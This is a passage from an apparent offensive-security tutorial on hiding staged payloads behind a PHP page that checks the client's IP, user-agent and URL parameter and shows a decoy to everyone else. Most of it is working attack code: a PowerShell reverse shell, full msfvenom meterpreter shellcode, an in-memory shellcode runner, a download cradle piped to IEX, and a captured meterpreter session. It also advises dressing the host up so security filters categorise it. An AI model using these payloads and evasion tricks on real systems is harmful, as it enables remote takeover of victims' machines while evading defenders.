$WC.DownloadString('http://192.168.0.21/payload.php') 692 | I see you. 693 | ``` 694 | 695 | The final technique we'll introduce involves checking whether or not a parameter was supplied by the client when interacting with our PHP page, which can be done through the URL. Our code consists of a function called _callerParam_ that takes in a single parameter called _$caller_ which we'll use to pass the name of a parameter that we want to find. The function will then look to see if the client has included that parameter by checking if the PHP global variable _$_GET_ contains that parameter through the _isset_ function. If the parameter has been found, regardless of any supplied value assigned to that parameter, including nothing, then the function will return TRUE. 696 | 697 | ```php 698 | function callerParam($caller) { 699 | $param = isset($_GET[$caller]); 700 | if ($param) { 701 | return TRUE; 702 | } else { 703 | return FALSE; 704 | } 705 | } 706 | ``` 707 | 708 | We will call this function and store the output in a variable called _$param_. We will then use an _if statement_ to check the value of this variable. If the statement resolves to TRUE, then our page will present our hidden content. 709 | 710 | ```PHP 711 | $param = callerParam('callback'); 712 | 713 | if ($param) { 714 | echo "I see you."; 715 | } 716 | ``` 717 | 718 | Now we'll save our complete code into our `payload.php` file. 719 | 720 | ```php 721 | 737 | ``` 738 | 739 | With our complete code staged, we'll use _curl_ to interact with our page. 740 | 741 | ![](./Screenshots/php-12.png) 742 | 743 | As expected, we see nothing, but if we include the parameter _callback_ in our request, we see our hidden message. 744 | 745 | ![](./Screenshots/php-13.png) 746 | 747 | While using these techniques on their own can work, we can make it much harder for prying eyes by combining these solutions into one, or any combination thereof. In this scenario, we're going to use all three conditions, except we're going to add another twist. 748 | 749 | We are going to change the value of our expected user-agent slightly to look relatively unique at a quick glance, but is unique enough where only its explicit use will receive a dedicated payload. In this case we'll add an extra `0` at the end of the Mozilla/FireFox version numbers. If this value was to be viewed in a web log, it wouldn't be overly obvious that it was fake. The next condition we'll change for some additional obscurity will be requiring a random IP address in our `Client-IP` header. You may be able to buy yourself some time if you use a valid IP address of another machine simply to cause a level of confusion or curiosity as a distraction. 750 | 751 | We'll save our complete code into our `payload.php` file. 752 | 753 | ```php 754 | 801 | ``` 802 | 803 | We'll save our updated code and connect to our web page from our intended victim machine, except this time we'll be using the PowerShell cmdlet `Invoke-WebRequest` with our spoofed `user-agent` and `client-ip` header. 804 | 805 | ```powershell 806 | PS C:\> (Invoke-WebRequest http://192.168.0.21/payload.php?session -Headers @{'Client-IP' = '192.168.0.29'} -UserAgent 'Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00').Content 807 | I see you. 808 | ``` 809 | 810 | If we browse to the web page from the same machine using the browser, it will not display our hidden message 811 | 812 | ![](./Screenshots/php-14.png) 813 | 814 | Now we have a solid set of conditions that must be met to retrieve our staged payloads. Keep in mind that when the conditions are not met, the client will receive a blank page. While this isn't much of a big deal for simple CTFs or smaller internal engagements, you'll likely run into issues if you host this over the internet. 815 | 816 | This is largely because if your page has no content and gets scanned by a security provider, it'll be tagged as an uncategorized website, which is typically blocked by organizations to protect against attackers spinning up malicious sites AD-HOC. You can circumvent this if you create some sites with very basic themes that are vivid enough to get categorized. 817 | 818 | For the time being, we'll use a simple proof of concept to demonstrate the use of decoy content. For this decoy, we'll include a new function called _decoy_ that will print a message that has been base64 encoded. Our function also checks if the user-agent is a common terminal client. If it isn't, then it'll add a HTML tag to handle some formatting requirements. 819 | 820 | ```PHP 821 | ' . base64_decode($decoy) . ''; 830 | } 831 | } 832 | ?> 833 | ``` 834 | 835 | We'll save our complete code into our `payload.php` file. 836 | 837 | ```php 838 | ' . base64_decode($decoy) . ''; 885 | } 886 | } 887 | 888 | $ip = callerIp('192.168.0.29'); 889 | $agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00'); 890 | $param = callerParam('session'); 891 | 892 | if ($ip && $agent && $param) { 893 | echo "I see you."; 894 | } else { 895 | decoy(); 896 | } 897 | ?> 898 | ``` 899 | 900 | Now we will attempt to browse to our page again using the same browser on our victim machine, which has revealed our decoy content. 901 | 902 | ![](./Screenshots/php-15.png) 903 | 904 | With our conditional access requirements in place, we'll jump into how to stage the same payloads we had used previously in our DNS topic. With fresh coffee in hand, let's get to it. 905 | 906 | ### Staged Listener Address 907 | 908 | The first payload we will look at will be our listener address. As a recap, we are going to store the listener details of our attacker machine in an `IP,PORT` format within our web page. We will use a web call from our reverse shell payload to retrieve and format this payload so that we can inject it into our payload to achieve a successful reverse shell. 909 | 910 | In order to achieve this, we'll make a few small modifications to our existing `payloads.php` file. Our updated code will consist of a new function called _payload_ that will simply print the contents of our payload that we have stored in a variable. 911 | 912 | ```php 913 | function payload() { 914 | $payload = '192.168.0.21,443'; 915 | echo $payload; 916 | } 917 | ``` 918 | 919 | With our payload staged, we'll now address the conditions that must be met in order for our caller to retrieve them. In this scenario, we're going to require our web page to retrieve the ip address of `192.168.0.29`, the user-agent of `'Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00` and the parameter name `session`. 920 | 921 | ```php 922 | $ip = callerIp('192.168.0.29'); 923 | $agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00'); 924 | $param = callerParam('session'); 925 | 926 | if ($ip && $agent && $param) { 927 | payload(); 928 | } else { 929 | decoy(); 930 | } 931 | ``` 932 | 933 | We'll save our code into our `payload.php` file. 934 | 935 | ```php 936 | ' . base64_decode($decoy) . ''; 982 | } 983 | } 984 | 985 | function payload() { 986 | $payload = '192.168.0.21,443'; 987 | echo $payload; 988 | } 989 | 990 | $ip = callerIp('192.168.0.29'); 991 | $agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00'); 992 | $param = callerParam('session'); 993 | 994 | if ($ip && $agent && $param) { 995 | payload(); 996 | } else { 997 | decoy(); 998 | } 999 | 1000 | ?> 1001 | ``` 1002 | 1003 | With our `payload.php` staged and ready to go, we'll look at how to retrieve this payload and inject our listener details into our PowerShell reverse shell. Because of the format of our listener detailers, we need to split the string and designate the appropriate index for our intended ip and port. 1004 | 1005 | ```powershell 1006 | PS C:\> $HTTP = (Invoke-WebRequest http://192.168.0.21/payload.php?session -Headers @{'Client-IP' = '192.168.0.29'} -UserAgent 'Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00').Content 1007 | PS C:\> $HTTP.Split(',')[0],$HTTP.Split(',')[1] 1008 | 192.168.0.21 1009 | 443 1010 | ``` 1011 | 1012 | Next we'll add this download cradle into our reverse shell script and run it from our victim machine. 1013 | 1014 | ```powershell 1015 | $HTTP = (Invoke-WebRequest http://192.168.0.21/payload.php?session -Headers @{'Client-IP' = '192.168.0.29'} -UserAgent 'Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00').Content 1016 | $client = New-Object System.Net.Sockets.TCPClient($HTTP.split(',')[0],$HTTP.split(',')[1]); 1017 | $stream = $client.GetStream(); 1018 | [byte[]]$bytes = 0..65535|%{0}; 1019 | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) 1020 | { 1021 | $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); 1022 | $sendback = (iex $data 2>&1 | Out-String ); 1023 | $sendback2 = $sendback + "PS " + (pwd).Path + "> "; 1024 | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); 1025 | $stream.Write($sendbyte,0,$sendbyte.Length); 1026 | $stream.Flush() 1027 | } 1028 | $client.Close() 1029 | ``` 1030 | 1031 | We can see the interaction with our PHP page as well as a successful reverse shell. 1032 | 1033 | ![](./Screenshots/php-16.png) 1034 | 1035 | This was a very simple scenario, but has worked out quite nicely. 1036 | 1037 | ### Staged Shellcode 1038 | 1039 | The second payload we will look at will be our shellcode runner. As a recap, we are going to store shellcode that we'll generate with _msfvenom_ that will be executed through the use of various Windows APIs. We will use a web call from our shellcode runner to retrieve and format this payload so that we can inject it into our payload to achieve a successful meterpreter reverse shell. 1040 | 1041 | Similar to before, our shellcode runner will include a download cradle that will retrieve our staged payload from our PHP page, except in this instance we'll be pulling down shellcode. We'll start with generating our shellcode using _msfvendon_. 1042 | 1043 | 1044 | ``` 1045 | ┌──(kali㉿kali)-[~] 1046 | └─$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.21 LPORT=443 EXITFUNC=thread -f ps1 1047 | ``` 1048 | 1049 | With our shellcode in hand, we'll copy and paste it into our _payload_ function. We do not need to do any additional formatting so this part is straight forward. 1050 | 1051 | ```php 1052 | function payload() { 1053 | $payload = '0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x8b,0x48,0x18,0x50,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x30,0x2e,0x32,0x31,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0x1f,0x0,0x0,0x0,0x2f,0x57,0x30,0x37,0x34,0x69,0x4e,0x45,0x31,0x70,0x48,0x56,0x69,0x75,0x57,0x4f,0x37,0x41,0x62,0x63,0x6e,0x34,0x51,0x75,0x77,0x69,0x34,0x52,0x49,0x57,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0x89,0xda,0xff,0xd5'; 1054 | echo $payload; 1055 | } 1056 | ``` 1057 | 1058 | Now we'll change the conditions to require the same IP address and user-agent, but we'll change the parameter name to something different. 1059 | 1060 | ```php 1061 | $ip = callerIp('192.168.0.29'); 1062 | $agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00'); 1063 | $param = callerParam('handler'); 1064 | 1065 | if ($ip && $agent && $param) { 1066 | payload(); 1067 | } else { 1068 | decoy(); 1069 | } 1070 | ``` 1071 | 1072 | We will modify our download cradle to leverage the use of the `WebClient` class. As we learned from our previous topic, the shellcode will be initially treated as a string, which will not work. In order for the shellcode to be accepted by the shellcode runner, we'll need to convert it to a _byte aray_ by splitting the string into a variable that's been casted as a byte array. 1073 | 1074 | ```powershell 1075 | PS C:\> $WC = New-Object System.Net.WebClient 1076 | PS C:\> $WC.Headers.Add('user-agent','Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00') 1077 | PS C:\> $WC.Headers.Add('Client-IP','192.168.0.29') 1078 | PS C:\> [Byte[]]$buf = $WC.DownloadString('http://192.168.0.21/payload.php?handler') -split ',' 1079 | ``` 1080 | 1081 | We'll add this download cradle into our shellcode runner. 1082 | 1083 | ```powershell 1084 | function LookupFunc { 1085 | Param ( 1086 | $moduleName, 1087 | $functionName 1088 | ) 1089 | $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 1090 | $tmp = @() 1091 | $assem.GetMethods() | ForEach-Object { If ($_.Name -eq 'GetProcAddress') { $tmp += $_ } } 1092 | return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) 1093 | } 1094 | 1095 | function getDelegateType { 1096 | Param ( 1097 | [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, 1098 | [Parameter(Position = 1)] [Type] $delType = [Void] 1099 | ) 1100 | $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). 1101 | DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 1102 | $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') 1103 | $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') 1104 | return $type.CreateType() 1105 | } 1106 | 1107 | $lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) 1108 | $WC = New-Object System.Net.WebClient 1109 | $WC.Headers.Add('user-agent','Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00') 1110 | $WC.Headers.Add('Client-IP','192.168.0.29') 1111 | [Byte[]]$buf = $WC.DownloadString('http://192.168.0.21/payload.php?handler') -split ',' 1112 | [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) 1113 | $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero) 1114 | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF) 1115 | ``` 1116 | 1117 | Once we execute it on our victim machine, we receive a reverse meterpreter shell. 1118 | 1119 | ``` 1120 | ┌──(kali㉿kali)-[~] 1121 | └─$ msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 192.168.0.21; set LPORT 443; set EXITFUNC thread; exploit" 1122 | [*] Using configured payload generic/shell_reverse_tcp 1123 | PAYLOAD => windows/x64/meterpreter/reverse_https 1124 | LHOST => 192.168.0.21 1125 | LPORT => 443 1126 | EXITFUNC => thread 1127 | [*] Started HTTPS reverse handler on https://192.168.0.21:443 1128 | [!] https://192.168.0.21:443 handling request from 192.168.0.26; (UUID: hnc2ktg3) Without a database connected that payload UUID tracking will not work! 1129 | [*] https://192.168.0.21:443 handling request from 192.168.0.26; (UUID: hnc2ktg3) Staging x64 payload (201820 bytes) ... 1130 | [!] https://192.168.0.21:443 handling request from 192.168.0.26; (UUID: hnc2ktg3) Without a database connected that payload UUID tracking will not work! 1131 | [*] Meterpreter session 1 opened (192.168.0.21:443 -> 192.168.0.26:50281) at 2022-10-05 08:50:18 -0400 1132 | 1133 | meterpreter > 1134 | 1135 | ``` 1136 | 1137 | Up to this point everything has been relatively straight forward. Now we'll start kicking it up a notch. 1138 | 1139 | ### Staged Script 1140 | 1141 | The third and final payload we will look at will be the entire shellcode runner we just wrote. What will make this payload different is that we will keep the download cradle to retrieve the shellcode within the payload and change our `payload.php` file to accommodate the retrieval of both our script and the embedded shellcode retrieval that won't step on each other. 1142 | 1143 | There are a number of ways you can store the contents of a script in PHP, but the method I prefer is to use the _file_get_contents_ function. This function reads the content of a file that can be printed back to a client. We'll use this function in lieu of having to bloat our web page with more code. What's going to make this a little more complicated is up to this point our payloads only needed a single download cradle in conjunction with a single set of conditions to retrieve that payload. Now we'll change it up by setting up our page to retrieve multiple payloads with different conditions. 1144 | 1145 | We will start off by updating our code by spitting the shellcode and script into two different functions called _payload_shellcode_ and _payload_script_. 1146 | 1147 | ```php 1148 | function payload_shellcode() { 1149 | $payload = '0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x8b,0x48,0x18,0x50,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x30,0x2e,0x32,0x31,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0x1f,0x0,0x0,0x0,0x2f,0x57,0x30,0x37,0x34,0x69,0x4e,0x45,0x31,0x70,0x48,0x56,0x69,0x75,0x57,0x4f,0x37,0x41,0x62,0x63,0x6e,0x34,0x51,0x75,0x77,0x69,0x34,0x52,0x49,0x57,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0x89,0xda,0xff,0xd5'; 1150 | echo $payload; 1151 | } 1152 | 1153 | function payload_runner(){ 1154 | $payload = file_get_contents('/home/kali/payloads/shellcode-runner.ps1'); 1155 | echo $payload; 1156 | } 1157 | ``` 1158 | 1159 | Next we'll change up our _if statements_ to handle multiple conditions. The first statement will be used to check if we're trying to retrieve the shellcode runner and a second statement will be added within an _else clause_ to check if we're trying to retrieve the shellcode itself. We are going to keep the conditions to retrieve the shellcode the same as before, but we're going to require a different user-agent, IP address and parameter to retrieve the script. 1160 | 1161 | ```php 1162 | $ip = callerIp('192.168.0.29'); 1163 | $agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.01) Gecko/20100101 Firefox/102.01'); 1164 | $param = callerParam('session'); 1165 | 1166 | if ($ip && $agent && $param) { 1167 | payload_runner(); 1168 | } else { 1169 | $ip = callerIp('192.168.0.29'); 1170 | $agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00'); 1171 | $param = callerParam('handler'); 1172 | if ($ip && $agent && $param) { 1173 | payload_shellcode(); 1174 | } else { 1175 | decoy(); 1176 | } 1177 | } 1178 | ``` 1179 | 1180 | Since our cradle for our shellcode is already within our original script, we'll start up a listener and use a different download cradle to retrieve and execute our shellcode runner. 1181 | 1182 | ```powershell 1183 | PS C:\> $((Invoke-WebRequest http://192.168.0.21/payload.php?session -UserAgent 'Mozilla/5.0 (X11; Linux x86_64; rv:102.01) Gecko/20100101 Firefox/102.01' -Headers @{'X-Forwarded-For' = '192.168.0.29'}).Content) | IEX 1184 | ``` 1185 | 1186 | Looking at our access logs, we see the requests to retrieve our script and shellcode followed by a successful reverse shell. 1187 | 1188 | ![](./Screenshots/php-17.png) 1189 | 1190 | While it does add a bit of complexity, we now have a better idea on what it takes to stage scripts as well as a means to handle multiple requests for different payloads that won't stumble upon each other. 1191 | 1192 | ### Wrapping Up 1193 | 1194 | We have gone through the process of hosting a PHP web page on Kali Linux and how we can use it to stage payloads that are hidden behind a wall of conditional access requirements. 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